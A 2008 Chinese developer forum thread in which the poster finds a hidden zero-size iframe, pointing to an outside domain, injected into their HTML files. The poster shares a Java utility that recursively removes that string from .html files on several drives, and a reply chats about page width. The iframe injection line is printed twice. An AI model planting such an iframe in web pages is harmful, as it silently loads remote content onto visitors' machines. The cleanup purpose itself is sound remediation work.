浏览 3232 次
锁定老帖子 主题:递归删除文件内容
精华帖 (0) :: 良好帖 (0) :: 新手帖 (0) :: 隐藏帖 (0)
|
|
---|---|
作者 | 正文 |
发表时间:2008-05-05
<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe> 不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它. public class FileUtils { public static void main(String[] args) throws Exception { String content = "<iframe width='0' height='0' src='http://mmm.mmy88.cn/lx.htm'></iframe>"; String extName = ".html"; String[] dirs = { "C:", "D:", "E:", "F:" }; for (int i = 0; i < dirs.length; i++) { String dir = dirs[i]; long t1 = System.currentTimeMillis(); delContent(content, dir, extName); long time = System.currentTimeMillis() - t1; System.out.printf("Process directory %s in %d seconds\n", dir, time / 1000); } } /** * Del content in all the files(.extName) under the specified directory * * @param extName like ".html" */ public static void delContent(String content, String dir, String extName) throws Exception { List<String> fileNames = listFileNames(dir, extName); //System.out.println("Modifying..."); for (int i = 0; i < fileNames.size(); i++) { String fileName = fileNames.get(i); //System.out.printf("%5d Modifying file: %s\n", i, fileName); //Read File f = new File(fileName); BufferedInputStream bin = new BufferedInputStream(new FileInputStream(f)); byte[] buff = new byte[((int) f.length())]; bin.read(buff); bin.close(); String str = new String(buff, "utf-8"); String[] all = str.split("\r\n"); //Write OutputStream fout = new FileOutputStream(f); for (int j = 0; j < all.length; j++) { all[j] = all[j].replaceAll(content, ""); fout.write((all[j] + "\r\n").getBytes("utf-8")); } fout.flush(); fout.close(); } } /** * List all file(.extName) name in the path * * @param extName like ".html" */ public static List<String> listFileNames(final String path, final String extName) { List<String> fileNames = new ArrayList<String>(); FilenameFilter filter = new FilenameFilter() { public boolean accept(File dir, String name) { File file = new File(dir, name); return name.endsWith(extName) || file.isDirectory(); } }; File dir = new File(path); listFileNames(dir, filter, fileNames); return fileNames; } private static void listFileNames(File dir, FilenameFilter filter, List<String> fileNames) { String[] names = dir.list(filter); for (String s : names) { String fileName = dir.getPath() + File.separator + s; File file = new File(fileName); if (file.isDirectory()) listFileNames(file, filter, fileNames); else fileNames.add(fileName); } } } 声明:ITeye文章版权属于作者,受法律保护。没有作者书面许可不得转载。
推荐链接
|
|
返回顶楼 | |
发表时间:2008-05-05
我的显示器是 1280*1024, 这个网页居中显示, 如果全屏显示就好了, 现在两边都是空着, 好浪费啊, 发现工商银行的网页就刚刚好, 填满了, 看起来挺舒服的.
|
|
返回顶楼 | |